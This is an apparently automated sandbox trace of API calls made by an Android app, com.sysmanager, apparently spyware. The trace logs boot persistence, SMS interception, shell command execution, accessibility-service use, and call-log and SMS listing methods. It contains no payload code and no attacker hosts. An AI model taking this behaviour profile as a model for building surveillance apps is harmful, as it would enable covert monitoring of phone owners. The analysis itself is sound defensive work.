Return Valueandroid.database.sqlite.SQLiteCursor
  • toString: android.database.sqlite.SQLiteCursor@1909133c
API: com.sysmanager.system.AndroidClock->getApplicationContext at com.sysmanager.system.AndroidClock$1.run:4 Show source
NameTypeValue
Return Valuecom.sysmanager.Scontext
  • toString: com.sysmanager.Scontext@37715224
API: com.sysmanager.system.AndroidClock->getApplicationContext at com.sysmanager.system.AndroidClock$1.run:16 Show source
NameTypeValue
Return Valuecom.sysmanager.Scontext
  • toString: com.sysmanager.Scontext@37715224
API: com.sysmanager.system.AndroidClock->getApplicationContext at com.sysmanager.system.AndroidClock$1.run:4 Show source
NameTypeValue
Return Valuecom.sysmanager.Scontext
  • toString: com.sysmanager.Scontext@37715224
API: com.sysmanager.system.AndroidClock->getApplicationContext at com.sysmanager.system.AndroidClock$1.run:16 Show source
NameTypeValue
Return Valuecom.sysmanager.Scontext
  • toString: com.sysmanager.Scontext@37715224
API: com.sysmanager.system.AndroidClock->getApplicationContext at com.sysmanager.system.AndroidClock$1.run:4 Show source
NameTypeValue
Return Valuecom.sysmanager.Scontext
  • toString: com.sysmanager.Scontext@37715224
API: com.sysmanager.system.AndroidClock->getApplicationContext at com.sysmanager.system.AndroidClock$1.run:16 Show source
NameTypeValue
Return Valuecom.sysmanager.Scontext
  • toString: com.sysmanager.Scontext@37715224
API: com.sysmanager.system.RegistrationService->getSystemService at com.sysmanager.system.RegistrationService.onCreate:9 Show source
NameTypeValue
p0java.lang.String
  • toString: power
NameTypeValue
Return Valueandroid.os.PowerManager
  • toString: android.os.PowerManager@2409aeba
API: com.google.firebase.iid.FirebaseInstanceId->getToken at com.sysmanager.system.RegistrationService.onCreate:44 Show source
NameTypeValue
Return Valuenull
  • toString: null
API: com.sysmanager.system.RegistrationService->getApplicationContext at com.sysmanager.system.RegistrationService.onCreate:47 Show source
NameTypeValue
Return Valuecom.sysmanager.Scontext
  • toString: com.sysmanager.Scontext@2e09ab53
API: com.sysmanager.system.RegistrationService->getApplicationContext at com.sysmanager.system.RegistrationService.onCreate:59 Show source
NameTypeValue
Return Valuecom.sysmanager.Scontext
  • toString: com.sysmanager.Scontext@2e09ab53
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.sysmanager.system.RegistrationService.requestGWKey:2 Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: android.net.NetworkInfo->isConnected at com.sysmanager.system.RegistrationService.requestGWKey:2 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.sysmanager.system.RegistrationService.requestGWKey:2 Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: android.net.NetworkInfo->isConnected at com.sysmanager.system.RegistrationService.requestGWKey:2 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.sysmanager.system.RegistrationService.requestGWKey:2 Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: android.net.NetworkInfo->isConnected at com.sysmanager.system.RegistrationService.requestGWKey:2 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.sysmanager.system.RegistrationService->requestGWKey at com.sysmanager.system.RegistrationService$1.run:4 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: ""
API: com.sysmanager.system.RegistrationService->requestGWKey at com.sysmanager.system.RegistrationService$1.run:4 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: ""
API: com.sysmanager.system.RegistrationService->requestGWKey at com.sysmanager.system.RegistrationService$1.run:4 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: ""
API: android.telephony.SmsManager->getMessageBody at com.sysmanager.system.SmsReceiver.onReceive:20 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: this is a text message
API: java.io.BufferedReader->read at com.sysmanager.utils.Commands.executeCommands:36 Show source
NameTypeValue
p0java.lang.Object
  • toString: [C@25c41bb2
  • $1: acctcachechargerconfigddatadefault.propdevetcfile_contextsfstab.android_x86initinit.android_x86.rcinit.bluetooth.rcinit.environ.rcinit.rcinit.superuser.rcinit.trace.rcinit.usb.rcinit.zygote32.rclibmntprocproperty_contextssbinsdcardseapp_contextsselinux_versionsepolicyservice_contextsstoragesyssystemueventd.android_x86.rcueventd.rcvendorx86.prop
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 383
API: java.io.BufferedReader->read at com.sysmanager.utils.Commands.executeCommands:36 Show source
NameTypeValue
p0java.lang.Object
  • toString: [C@25c41bb2
  • $1: acctcachechargerconfigddatadefault.propdevetcfile_contextsfstab.android_x86initinit.android_x86.rcinit.bluetooth.rcinit.environ.rcinit.rcinit.superuser.rcinit.trace.rcinit.usb.rcinit.zygote32.rclibmntprocproperty_contextssbinsdcardseapp_contextsselinux_versionsepolicyservice_contextsstoragesyssystemueventd.android_x86.rcueventd.rcvendorx86.prop
NameTypeValue
Return Valuejava.lang.Integer
  • toString: -1
API: java.io.BufferedReader->read at com.sysmanager.utils.Commands.executeCommands:36 Show source
NameTypeValue
p0java.lang.Object
  • toString: [C@19531293
  • $1: acctcachechargerconfigddatadefault.propdevetcfile_contextsfstab.android_x86initinit.android_x86.rcinit.bluetooth.rcinit.environ.rcinit.rcinit.superuser.rcinit.trace.rcinit.usb.rcinit.zygote32.rclibmntprocproperty_contextssbinsdcardseapp_contextsselinux_versionsepolicyservice_contextsstoragesyssystemueventd.android_x86.rcueventd.rcvendorx86.prop
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 383
API: java.io.BufferedReader->read at com.sysmanager.utils.Commands.executeCommands:36 Show source
NameTypeValue
p0java.lang.Object
  • toString: [C@19531293
  • $1: acctcachechargerconfigddatadefault.propdevetcfile_contextsfstab.android_x86initinit.android_x86.rcinit.bluetooth.rcinit.environ.rcinit.rcinit.superuser.rcinit.trace.rcinit.usb.rcinit.zygote32.rclibmntprocproperty_contextssbinsdcardseapp_contextsselinux_versionsepolicyservice_contextsstoragesyssystemueventd.android_x86.rcueventd.rcvendorx86.prop
NameTypeValue
Return Valuejava.lang.Integer
  • toString: -1
API: java.io.File-><init> at com.sysmanager.Main.onCreate:26 Show source
NameTypeValue
p0java.lang.String
  • toString: /data/data/com.sysmanager/files/cachel2/
NameTypeValue
Return Valuejava.io.File
  • toString: /data/data/com.sysmanager/files/cachel2
API: java.io.File->exists at com.sysmanager.Main.onCreate:28 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.sysmanager.Main->startService at com.sysmanager.Main.onCreate:53 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=com.sysmanager/.system.AndroidClock }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.sysmanager/com.sysmanager.system.AndroidClock}
API: java.io.File-><init> at com.sysmanager.OnBootReceiver.onReceive:25 Show source
NameTypeValue
p0java.lang.String
  • toString: /data/data/com.sysmanager/files/cachel2/
NameTypeValue
Return Valuejava.io.File
  • toString: /data/data/com.sysmanager/files/cachel2
API: java.io.File->exists at com.sysmanager.OnBootReceiver.onReceive:27 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: android.content.Intent->getAction at com.sysmanager.OnBootReceiver.onReceive:33 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.intent.action.BOOT_COMPLETED
API: com.sysmanager.Scontext->startService at com.sysmanager.OnBootReceiver.loadSharedPreferences:165 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=com.sysmanager/.system.RegistrationService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.sysmanager/com.sysmanager.system.RegistrationService}
API: com.sysmanager.Scontext->startService at com.sysmanager.OnBootReceiver.onReceive:82 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=com.sysmanager/.system.AndroidClock }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.sysmanager/com.sysmanager.system.AndroidClock}
API: com.sysmanager.Scontext->getApplicationContext at com.sysmanager.Scontext.onCreate:4 Show source
NameTypeValue
Return Valuecom.sysmanager.Scontext
  • toString: com.sysmanager.Scontext@2e09ab53
API: com.sysmanager.Scontext->getApplicationContext at com.sysmanager.Scontext.onCreate:4 Show source
NameTypeValue
Return Valuecom.sysmanager.Scontext
  • toString: com.sysmanager.Scontext@37715224
API: java.lang.Object-><init> at ..:1 Show source
API: java.lang.UnsupportedOperationException-><init> at ..:19 Show source
API: java.lang.UnsupportedOperationException-><init> at ..:4 Show source
API: java.lang.UnsupportedOperationException-><init> at ..:6 Show source
API: java.lang.Object-><init> at ..:2 Show source
API: java.util.Map->get at ..:13 Show source
API: java.util.Map->remove at ..:25 Show source
API: com.google.android.gms.common.images.ImageManager$ImageReceiver->zzc at ..:29 Show source
API: java.util.Map->get at ..:76 Show source
API: android.os.SystemClock->elapsedRealtime at ..:81 Show source
API: java.lang.Long->longValue at ..:84 Show source
API: java.util.Map->remove at ..:113 Show source
API: java.util.Map->get at ..:136 Show source
API: com.google.android.gms.common.images.ImageManager$ImageReceiver-><init> at ..:146 Show source
API: java.util.Map->put at ..:155 Show source
API: com.google.android.gms.common.images.ImageManager$ImageReceiver->zzb at ..:159 Show source
API: java.util.Map->put at ..:172 Show source
API: java.util.HashSet->contains at ..:183 Show source
API: java.util.HashSet->add at ..:192 Show source
API: com.google.android.gms.common.images.ImageManager$ImageReceiver->zzxr at ..:194 Show source
API: java.lang.IllegalStateException-><init> at ..:16 Show source
API: java.util.concurrent.BlockingQueue->poll at ..:23 Show source
API: java.util.concurrent.TimeoutException-><init> at ..:31 Show source
API: java.lang.IllegalStateException-><init> at ..:15 Show source
API: java.util.concurrent.BlockingQueue->take at ..:22 Show source
API: java.lang.Object-><init> at ..:1 Show source
API: java.util.concurrent.LinkedBlockingQueue-><init> at ..:6 Show source
API: java.util.concurrent.BlockingQueue->add at ..:3 Show source
API: java.lang.Object-><init> at ..:1 Show source
API: android.os.Parcel->readStrongBinder at ..:1 Show source
API: java.lang.Object-><init> at ..:3 Show source
API: java.util.Map->remove at ..:8 Show source
API: android.graphics.drawable.Drawable->setColorFilter at ..:3 Show source
API: android.graphics.drawable.Drawable->setColorFilter at ..:7 Show source
API: com.google.android.gms.internal.zzacb->invalidateSelf at ..:6 Show source
API: android.graphics.drawable.Drawable-><init> at ..:2 Show source
API: com.google.android.gms.internal.zzacb$zzb-><init> at ..:11 Show source
API: android.graphics.drawable.Drawable->getIntrinsicWidth at ..:3 Show source
API: android.graphics.drawable.Drawable->getIntrinsicWidth at ..:8 Show source
API: java.lang.Math->max at ..:11 Show source
API: com.google.android.gms.internal.zzacb->getCallback at ..:1 Show source
API: android.graphics.drawable.Drawable$Callback->unscheduleDrawable at ..:5 Show source
API: android.graphics.drawable.Drawable->getIntrinsicHeight at ..:3 Show source
API: android.graphics.drawable.Drawable->getIntrinsicHeight at ..:8 Show source
API: java.lang.Math->max at ..:11 Show source
API: com.google.android.gms.internal.zzacb->getCallback at ..:1 Show source
API: android.graphics.drawable.Drawable$Callback->invalidateDrawable at ..:5 Show source
API: com.google.android.gms.internal.zzacb->canConstantState at ..:1 Show source
API: com.google.android.gms.internal.zzacb->getChangingConfigurations at ..:7 Show source
API: android.graphics.drawable.Drawable->setBounds at ..:3 Show source
API: android.graphics.drawable.Drawable->setBounds at ..:7 Show source
API: android.graphics.drawable.Drawable->getConstantState at ..:6 Show source
API: android.graphics.drawable.Drawable->getConstantState at ..:12 Show source
API: com.google.android.gms.internal.zzacb->getCallback at ..:1 Show source
API: android.graphics.drawable.Drawable$Callback->scheduleDrawable at ..:5 Show source
API: android.graphics.drawable.Drawable->mutate at ..:3 Show source
API: com.google.android.gms.internal.zzacb->canConstantState at ..:7 Show source
API: java.lang.IllegalStateException-><init> at ..:14 Show source
API: android.graphics.drawable.Drawable->mutate at ..:19 Show source
API: android.graphics.drawable.Drawable->mutate at ..:23 Show source
API: com.google.android.gms.internal.zzacb-><init> at ..:2 Show source
API: com.google.android.gms.internal.zzacb$zza->zzxt at ..:5 Show source
API: android.graphics.drawable.Drawable->setCallback at ..:9 Show source
API: android.graphics.drawable.Drawable->getChangingConfigurations at ..:14 Show source
API: com.google.android.gms.internal.zzacb$zza->zzxt at ..:20 Show source
API: com.google.android.gms.internal.zzace-><init> at ..:10 Show source
API: java.lang.String->charAt at ..:27 Show source
API: java.lang.Character->toUpperCase at ..:30 Show source
API: java.lang.String->substring at ..:34 Show source
API: java.lang.String->valueOf at ..:37 Show source
API: java.lang.String->valueOf at ..:40 Show source
API: java.lang.String->length at ..:43 Show source
API: java.lang.StringBuilder-><init> at ..:48 Show source
API: java.lang.StringBuilder->append at ..:52 Show source
API: java.lang.StringBuilder->append at ..:55 Show source
API: java.lang.StringBuilder->append at ..:58 Show source
API: java.lang.StringBuilder->toString at ..:61 Show source
API: java.lang.Object->getClass at ..:64 Show source
API: java.lang.Class->getMethod at ..:69 Show source
API: java.lang.reflect.Method->invoke at ..:74 Show source
API: java.lang.RuntimeException-><init> at ..:80 Show source
API: java.lang.StringBuilder-><init> at ..:6 Show source
API: java.util.Map->keySet at ..:8 Show source
API: java.util.Set->iterator at ..:11 Show source
API: java.util.Iterator->hasNext at ..:14 Show source
API: java.util.Iterator->next at ..:18 Show source
API: java.util.Map->get at ..:22 Show source
API: java.lang.StringBuilder->length at ..:36 Show source
API: java.lang.StringBuilder->append at ..:42 Show source
API: java.lang.StringBuilder->append at ..:46 Show source
API: java.lang.StringBuilder->append at ..:49 Show source
API: java.lang.StringBuilder->append at ..:54 Show source
API: java.lang.StringBuilder->append at ..:59 Show source
API: java.lang.StringBuilder->append at ..:64 Show source
API: java.lang.StringBuilder->append at ..:81 Show source
API: java.lang.StringBuilder->append at ..:89 Show source
API: java.lang.StringBuilder->append at ..:94 Show source
API: java.lang.StringBuilder->append at ..:99 Show source
API: java.lang.StringBuilder->append at ..:106 Show source
API: java.lang.StringBuilder->append at ..:111 Show source
API: java.lang.StringBuilder->length at ..:121 Show source
API: java.lang.StringBuilder->append at ..:127 Show source
API: java.lang.StringBuilder->toString at ..:129 Show source
API: java.lang.StringBuilder->append at ..:135 Show source
API: java.lang.UnsupportedOperationException-><init> at ..:4 Show source
API: java.lang.UnsupportedOperationException-><init> at ..:4 Show source
API: java.lang.Class->cast at ..:9 Show source
API: java.lang.StringBuilder->append at ..:16 Show source
API: java.lang.StringBuilder->append at ..:26 Show source
API: java.lang.StringBuilder->append at ..:32 Show source
API: java.lang.StringBuilder->append at ..:36 Show source
API: java.lang.StringBuilder->append at ..:39 Show source
API: java.lang.Object-><init> at ..:1 Show source
API: java.lang.StringBuilder->append at ..:14 Show source
API: java.util.ArrayList->size at ..:17 Show source
API: java.lang.StringBuilder->append at ..:24 Show source
API: java.util.ArrayList->get at ..:26 Show source
API: java.lang.StringBuilder->append at ..:36 Show source
API: android.content.Context->getApplicationContext at ..:3 Show source
API: java.lang.Boolean->booleanValue at ..:17 Show source
API: android.content.Context->getClassLoader at ..:24 Show source
API: java.lang.ClassLoader->loadClass at ..:29 Show source
API: java.lang.Boolean->valueOf at ..:32 Show source
API: java.lang.Boolean->booleanValue at ..:39 Show source
API: java.lang.Boolean->valueOf at ..:45 Show source
API: android.os.Binder->onTransact at ..:8 Show source
API: android.os.Parcel->writeString at ..:14 Show source
API: android.os.Parcel->enforceInterface at ..:20 Show source
API: android.os.Parcel->readInt at ..:22 Show source
API: android.os.Parcelable$Creator->createFromParcel at ..:28 Show source
API: com.google.android.gms.internal.zzasc$zza->zza at ..:32 Show source
API: android.os.Binder-><init> at ..:1 Show source
API: com.google.android.gms.internal.zzasc$zza->attachInterface at ..:5 Show source
API: android.os.IBinder->queryLocalInterface at ..:6 Show source
API: java.lang.Object-><init> at ..:3 Show source
API: java.lang.Object-><init> at ..:3 Show source
API: com.google.android.gms.internal.zzauf->zza at ..:3 Show source
API: com.google.android.gms.internal.zzauf->zza at ..:10 Show source
API: android.app.Activity->getIntent at ..:13 Show source
API: android.content.Intent->getData at ..:17 Show source
API: android.net.Uri->isHierarchical at ..:21 Show source
API: android.net.Uri->getQueryParameter at ..:54 Show source
API: android.text.TextUtils->isEmpty at ..:57 Show source
API: java.lang.String->contains at ..:67 Show source
API: java.lang.String->contains at ..:73 Show source
API: java.lang.String->contains at ..:79 Show source
API: java.lang.String->contains at ..:85 Show source
API: java.lang.String->contains at ..:91 Show source
API: java.lang.String->contains at ..:97 Show source
API: android.text.TextUtils->isEmpty at ..:1 Show source
API: java.lang.Object-><init> at ..:2 Show source
API: com.google.android.gms.common.api.zza-><init> at ..:8 Show source
API: java.lang.NullPointerException-><init> at ..:18 Show source
API: com.google.android.gms.tasks.RuntimeExecutionException->getCause at ..:24 Show source
API: com.google.android.gms.tasks.RuntimeExecutionException->getCause at ..:34 Show source
API: java.lang.Object-><init> at ..:3 Show source
API: java.util.concurrent.atomic.AtomicReference->get at ..:3 Show source
API: com.google.firebase.FirebaseApp$zzc-><init> at ..:8 Show source
API: java.util.concurrent.atomic.AtomicReference->compareAndSet at ..:13 Show source
API: android.content.IntentFilter-><init> at ..:20 Show source
API: android.content.Context->registerReceiver at ..:22 Show source
API: com.google.firebase.FirebaseApp$zzc->zzcm at ..:1 Show source
API: android.content.Context->unregisterReceiver at ..:3 Show source
API: android.content.BroadcastReceiver-><init> at ..:1 Show source
API: java.util.Map->values at ..:7 Show source
API: java.util.Collection->iterator at ..:10 Show source
API: java.util.Iterator->hasNext at ..:13 Show source
API: java.util.Iterator->next at ..:17 Show source
API: com.google.firebase.FirebaseApp$zzc->unregister at ..:28 Show source
API: java.util.concurrent.atomic.AtomicReference-><init> at ..:2 Show source
API: java.lang.Long->parseLong at ..:23 Show source
API: java.lang.Object-><init> at ..:4 Show source
API: java.lang.StringBuilder-><init> at ..:17 Show source
API: java.lang.StringBuilder->append at ..:20 Show source
API: java.lang.StringBuilder->length at ..:23 Show source
API: java.lang.StringBuilder->append at ..:29 Show source
API: java.lang.StringBuilder->toString at ..:36 Show source
API: java.io.File-><init> at ..:39 Show source
API: java.lang.StringBuilder->append at ..:44 Show source
API: java.lang.StringBuilder->toString at ..:51 Show source
API: java.io.File-><init> at ..:54 Show source
API: java.lang.StringBuilder->setLength at ..:57 Show source
API: java.lang.StringBuilder-><init> at ..:10 Show source
API: java.lang.StringBuilder->append at ..:14 Show source
API: java.util.Arrays->toString at ..:17 Show source
API: java.lang.StringBuilder->append at ..:20 Show source
API: java.lang.StringBuilder->toString at ..:23 Show source
API: java.io.IOException-><init> at ..:26 Show source
API: java.lang.Thread->holdsLock at ..:4 Show source
API: java.lang.AssertionError-><init> at ..:9 Show source
API: java.lang.IllegalStateException-><init> at ..:7 Show source
API: java.lang.System->nanoTime at ..:10 Show source
API: java.util.concurrent.CountDownLatch->await at ..:11 Show source
API: java.lang.Object-><init> at ..:3 Show source
API: java.util.concurrent.CountDownLatch-><init> at ..:7 Show source
API: java.util.concurrent.CountDownLatch->await at ..:9 Show source
API: java.lang.IllegalStateException-><init> at ..:10 Show source
API: java.util.concurrent.CountDownLatch->countDown at ..:19 Show source
API: java.lang.IllegalStateException-><init> at ..:10 Show source
API: java.lang.System->nanoTime at ..:13 Show source
API: java.util.concurrent.CountDownLatch->countDown at ..:19 Show source
Method: ..:9 Show source
Method: ..:20 Show source
Method: ..:38 Show source
Method: ..:49 Show source
Method: ..:16 Show source
Method: ..:22 Show source
Method: ..:39 Show source
Method: ..:74 Show source
Method: ..:112 Show source
Method: ..:57 Show source
Method: ..:65 Show source
Method: ..:73 Show source
Method: ..:81 Show source
Method: ..:94 Show source
Method: ..:107 Show source
Method: ..:120 Show source
Method: ..:133 Show source
Method: ..:146 Show source
Method: ..:17 Show source
Method: ..:46 Show source
Method: ..:25 Show source
Method: ..:10 Show source
Method: ..:9 Show source
Method: ..:13 Show source
Method: ..:25 Show source
Method: ..:29 Show source
Method: ..:5 Show source
Method: ..:5 Show source
Method: ..:28 Show source
Method: ..:46 Show source
Method: ..:34 Show source
Method: ..:115 Show source
Method: ..:33 Show source
Method: com.google.firebase.iid.zzf.zza:93 Show source
Method: com.google.firebase.iid.zzf.zza:101 Show source
Method: com.google.firebase.iid.zzf.zza:113 Show source
Method: com.google.firebase.iid.zzf.zza:122 Show source
Method: com.google.firebase.iid.zzf.zza:128 Show source
Method: com.google.firebase.iid.zzf.zza:135 Show source
Method: com.google.firebase.iid.zzf.zza:148 Show source
Method: com.google.firebase.iid.zzf.zza:166 Show source
Method: ..:45 Show source
Method: ..:64 Show source
Method: ..:72 Show source
Method: ..:37 Show source
Method: ..:8 Show source
Method: ..:42 Show source
Method: ..:42 Show source
Method: ..:5 Show source
Method: ..:12 Show source
Method: ..:22 Show source
Method: ..:39 Show source
Method: ..:24 Show source
Method: ..:30 Show source
Method: com.sysmanager.system.AccessibilityService$1.onServiceConnected:27 Show source
Method: ..:8 Show source
Method: ..:12 Show source
Method: ..:49 Show source
Method: ..:55 Show source
Method: ..:59 Show source
Method: ..:313 Show source
Method: ..:12 Show source
Method: com.google.firebase.iid.FirebaseInstanceId.zzS:11 Show source
Method: ..:68 Show source
Method: ..:13 Show source
Method: ..:14 Show source
Method: ..:29 Show source
Method: ..:37 Show source
Method: ..:45 Show source
Method: ..:53 Show source
Method: ..:61 Show source
Method: ..:69 Show source
Method: ..:77 Show source
Method: ..:85 Show source
Method: ..:93 Show source
Method: ..:101 Show source
Method: ..:114 Show source
Method: ..:122 Show source
Method: ..:130 Show source
Method: ..:138 Show source
Method: ..:146 Show source
Method: ..:154 Show source
Method: ..:162 Show source
Method: ..:170 Show source
Method: ..:178 Show source
Method: ..:186 Show source
Method: ..:199 Show source
Method: ..:240 Show source
Method: ..:248 Show source
Method: ..:256 Show source
Method: ..:269 Show source
Method: ..:277 Show source
Method: ..:285 Show source
Method: ..:305 Show source
Method: ..:313 Show source
Method: ..:321 Show source
Method: ..:329 Show source
Method: ..:379 Show source
Method: ..:387 Show source
Method: ..:437 Show source
Method: ..:445 Show source
Method: ..:453 Show source
Method: ..:461 Show source
Method: ..:469 Show source
Method: ..:34 Show source
Method: ..:56 Show source
Method: ..:32 Show source
Method: ..:87 Show source
Method: ..:34 Show source
Method: ..:61 Show source
Method: ..:19 Show source
Method: ..:239 Show source
Method: ..:259 Show source
Method: ..:317 Show source
Method: ..:383 Show source
Method: ..:629 Show source
Method: ..:687 Show source
Method: ..:693 Show source
Method: ..:805 Show source
Method: ..:856 Show source
Method: ..:870 Show source
Method: ..:22 Show source
Method: ..:18 Show source
Method: ..:26 Show source
Method: ..:34 Show source
Method: ..:111 Show source
Method: ..:119 Show source
Method: ..:127 Show source
Method: ..:135 Show source
Method: ..:186 Show source
Method: ..:194 Show source
Method: ..:220 Show source
Method: ..:246 Show source
Method: ..:338 Show source
Method: ..:346 Show source
Method: ..:80 Show source
Method: ..:118 Show source
Method: ..:37 Show source
Method: ..:5 Show source
Method: com.sysmanager.system.AndroidCallSystem.listCallLog:162 Show source
Method: ..:19 Show source
Method: ..:126 Show source
Method: ..:60 Show source
Method: ..:386 Show source
Method: ..:36 Show source
Method: ..:22 Show source
Method: ..:34 Show source
Method: ..:14 Show source
Method: ..:24 Show source
Method: ..:143 Show source
Method: ..:151 Show source
Method: ..:159 Show source
Method: ..:167 Show source
Method: ..:175 Show source
Method: ..:183 Show source
Method: ..:19 Show source
Method: ..:51 Show source
Method: ..:123 Show source
Method: ..:246 Show source
Method: ..:265 Show source
Method: ..:20 Show source
Method: ..:25 Show source
Method: ..:30 Show source
Method: ..:45 Show source
Method: ..:55 Show source
Method: ..:65 Show source
Method: ..:89 Show source
Method: ..:99 Show source
Method: ..:119 Show source
Method: ..:129 Show source
Method: ..:139 Show source
Method: ..:149 Show source
Method: ..:159 Show source
Method: ..:169 Show source
Method: ..:179 Show source
Method: ..:196 Show source
Method: ..:206 Show source
Method: ..:223 Show source
Method: ..:28 Show source
Method: ..:127 Show source
Method: ..:275 Show source
Method: ..:282 Show source
Method: ..:68 Show source
Method: ..:63 Show source
Method: ..:25 Show source
Method: ..:54 Show source
Method: ..:60 Show source
Method: ..:309 Show source
Method: ..:402 Show source
Method: ..:492 Show source
Method: ..:527 Show source
Method: ..:586 Show source
Method: ..:625 Show source
Method: ..:636 Show source
Method: ..:661 Show source
Method: ..:806 Show source
Method: ..:111 Show source
Method: ..:114 Show source
Method: ..:118 Show source
Method: ..:34 Show source
Method: ..:44 Show source
Method: ..:140 Show source
Method: ..:18 Show source
Method: ..:31 Show source
Method: ..:63 Show source
Method: ..:18 Show source
Method: ..:26 Show source
Method: ..:34 Show source
Method: ..:42 Show source
Method: ..:50 Show source
Method: ..:58 Show source
Method: ..:76 Show source
Method: ..:84 Show source
Method: ..:92 Show source
Method: ..:110 Show source
Method: ..:101 Show source
Method: ..:126 Show source
Method: ..:13 Show source
Method: ..:41 Show source
Method: ..:47 Show source
Method: ..:2 Show source
Method: ..:23 Show source
Method: ..:26 Show source
Method: ..:47 Show source
Method: ..:36 Show source
Method: ..:13 Show source
Method: ..:19 Show source
Method: ..:66 Show source
Method: ..:74 Show source
Method: ..:63 Show source
Method: com.sysmanager.system.AndroidMessagingService.GetListaSMS:118 Show source
Method: ..:94 Show source
Method: ..:88 Show source
Method: ..:108 Show source
Method: ..:130 Show source
Method: ..:138 Show source
Method: ..:16 Show source
Method: ..:27 Show source
Method: ..:38 Show source
Method: ..:50 Show source
Method: ..:18 Show source
Method: ..:36 Show source
Method: ..:17 Show source
Method: ..:107 Show source
Method: ..:114 Show source
Method: ..:113 Show source
Method: ..:11 Show source
Method: ..:23 Show source
Method: ..:56 Show source
Method: ..:57 Show source
Method: ..:39 Show source
Method: ..:175 Show source
Method: ..:27 Show source
Method: ..:35 Show source
Method: ..:43 Show source
Method: ..:44 Show source
Method: ..:94 Show source
Method: ..:21 Show source
Method: ..:82 Show source
Method: ..:90 Show source
Method: ..:26 Show source
Method: ..:40 Show source
Method: ..:23 Show source
Method: ..:23 Show source
Method: ..:46 Show source
Method: ..:54 Show source
Method: ..:67 Show source
Method: ..:17 Show source
Method: ..:23 Show source
Method: ..:6 Show source
Method: ..:46 Show source
Method: ..:125 Show source
Method: ..:138 Show source
Method: ..:255 Show source
Method: ..:331 Show source
Method: ..:342 Show source
Method: ..:399 Show source
Method: ..:407 Show source
Method: ..:504 Show source
Method: ..:518 Show source
Method: ..:540 Show source
Method: ..:551 Show source
Method: ..:5 Show source
Method: ..:11 Show source
Method: com.sysmanager.system.AndroidAlarmManager$1$1.compare:7 Show source
Method: com.sysmanager.system.AndroidAlarmManager$1$1.compare:13 Show source
Method: ..:66 Show source
Method: ..:91 Show source
Method: ..:347 Show source
Method: ..:33 Show source
Method: ..:50 Show source
Method: ..:92 Show source
Method: ..:134 Show source
Method: ..:464 Show source
Method: ..:473 Show source
Method: ..:37 Show source
Method: ..:79 Show source
Method: ..:272 Show source
Method: ..:53 Show source
Method: ..:105 Show source
Method: com.sysmanager.network.HTTPUtility.splitBytes:22 Show source
Method: com.sysmanager.network.HTTPUtility.splitBytes:52 Show source
Method: ..:37 Show source
Method: ..:79 Show source
Method: ..:121 Show source
Method: ..:52 Show source
Method: ..:12 Show source
Method: ..:26 Show source
Method: ..:9 Show source
Method: ..:35 Show source
Method: ..:29 Show source
Method: ..:81 Show source
Method: ..:112 Show source
Method: ..:164 Show source
Method: ..:43 Show source
Method: ..:50 Show source
Method: ..:64 Show source
Method: ..:73 Show source
Method: ..:52 Show source
Method: ..:20 Show source
Method: ..:29 Show source
Method: ..:25 Show source
Method: ..:29 Show source
Method: ..:29 Show source
Method: ..:40 Show source
Method: ..:38 Show source
Method: ..:51 Show source
Method: ..:40 Show source
Method: ..:109 Show source
Method: ..:59 Show source
Method: ..:37 Show source
Method: ..:11 Show source
Method: ..:31 Show source
Method: ..:42 Show source
Method: ..:27 Show source
Method: com.sysmanager.costanti.Costanti.getIVCrypt:26 Show source
Method: ..:20 Show source
Method: com.sysmanager.costanti.Costanti.getKeyCrypt:31 Show source
Method: ..:31 Show source
Method: ..:45 Show source
Method: ..:27 Show source
Method: ..:36 Show source
Method: ..:17 Show source
Method: ..:26 Show source
Method: ..:17 Show source
Method: ..:23 Show source
Method: ..:87 Show source
Method: ..:126 Show source
Method: ..:136 Show source
Method: ..:13 Show source
Method: ..:19 Show source
Method: ..:23 Show source
Method: ..:29 Show source
Method: ..:32 Show source
Method: ..:38 Show source
Method: ..:15 Show source
Method: ..:21 Show source
Method: ..:19 Show source
Method: ..:41 Show source
Method: ..:25 Show source
Method: ..:34 Show source
Method: ..:21 Show source
Method: ..:27 Show source
Method: ..:31 Show source
Method: ..:40 Show source
Method: ..:13 Show source
Method: ..:19 Show source
Method: ..:36 Show source
Method: ..:62 Show source
Method: ..:97 Show source
Method: ..:102 Show source
Method: ..:31 Show source
Method: ..:37 Show source
Method: ..:32 Show source
Method: ..:92 Show source
Method: ..:245 Show source
Method: ..:28 Show source
Method: ..:48 Show source
Method: ..:57 Show source
Method: ..:14 Show source
Method: ..:22 Show source
Method: ..:34 Show source
Method: ..:42 Show source
Method: ..:13 Show source
Method: ..:21 Show source
Method: ..:19 Show source
